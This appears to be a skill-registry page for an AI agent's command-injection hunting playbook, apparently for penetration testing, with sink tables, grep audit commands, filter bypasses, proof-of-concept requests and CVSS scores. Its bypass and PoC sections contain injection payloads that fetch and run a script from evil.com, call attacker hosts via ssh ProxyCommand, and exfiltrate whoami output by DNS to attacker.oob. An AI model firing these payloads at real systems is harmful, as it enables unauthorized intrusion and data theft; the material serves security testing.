CtrlK
BlogDocsLog inGet started
Tessl Logo

command-injection

Hunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.

73

Quality

91%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

Command Injection Playbook

If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.

1. Sinks

LanguageDangerousSafer
Pythonos.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutputsubprocess.run([...], shell=False)
Nodechild_process.exec, execSyncchild_process.execFile, spawn (array args)
Goexec.Command("sh","-c",user)exec.Command(bin, arg1, arg2) with array
JavaRuntime.exec(String)Runtime.exec(String[]), ProcessBuilder([...])
Rubybackticks, system(str), %x{...}Kernel.system(bin, *args), Open3.capture2e
PHPshell_exec, exec, system, backticks, passthruescapeshellarg + explicit execve

Even the "safer" APIs are exploitable if the binary path is user controlled (exec.Command(userBin, "--version")).

2. Non-obvious sinks

  • Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
  • Docker-compose / k8s manifests where command: is built from user input
  • PDF libraries that shell out to pdflatex, wkhtmltopdf, puppeteer
  • ImageMagickconvert user.jpg out.png where user.jpg is attacker-chosen (classic ImageTragick)
  • ffmpeg -i with user-provided URL/file (SSRF + RCE combo)
  • Git clone with user-supplied URL (remote helper injection)
  • SSH/Rsync wrappers building ssh user@host "cmd" from templates
  • ZIP extractors passing archive path to unzip binary

3. Audit workflow

# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src

# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src

# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src

4. Bypasses

Even when developers "sanitize" via blocklists:

  • Argument injection (the -oProxyCommand trick) — passing -oProxyCommand=curl $(whoami).attacker.com to ssh-based sinks
  • Space replacement${IFS}, {ls,-la} (brace expansion)
  • Backtick/dollar-paren$(id), `id`
  • Command substitution in filename$(curl evil.com/x.sh | sh).jpg
  • Unicode normalisation (fullwidth) vs " bypass
  • Encoded newline%0A turns single-command into multi-command
  • TarSliptar xzf user.tgz with --checkpoint-action=exec=...
  • Gitgit clone 'ssh://ext::sh -c whoami # foo'

5. PoC ideas

# Spare out-of-band tester — DNS exfil confirms silent RCE
curl "https://target.com/export?filename=; curl $(whoami).attacker.oob/"

# Blind, response-timing based
curl "https://target.com/export?filename=; sleep 7 #.pdf"

# Noisy but fastest confirmation
curl "https://target.com/export?filename=; id > /tmp/pwn #.pdf"

6. validate_finding contract

  • success_patterns: uid=\d+, root, attacker OOB callback hit, total 0
  • negative_command: same URL, filename set to report.pdf
  • negative_patterns: 200, accepted

7. Default CVSS

VariantVectorScore
Blind OOB RCE unauthAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8
Authenticated RCE (low priv)AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H8.8
RCE with scope change (container escape)AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H10.0

8. Chain promotion

Command injection rarely needs chaining — it's the final hop of most chains. Instead, use it to promote earlier nodes: add enables edges from SSRF / file upload / path traversal vulns that deliver the initial payload.

Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.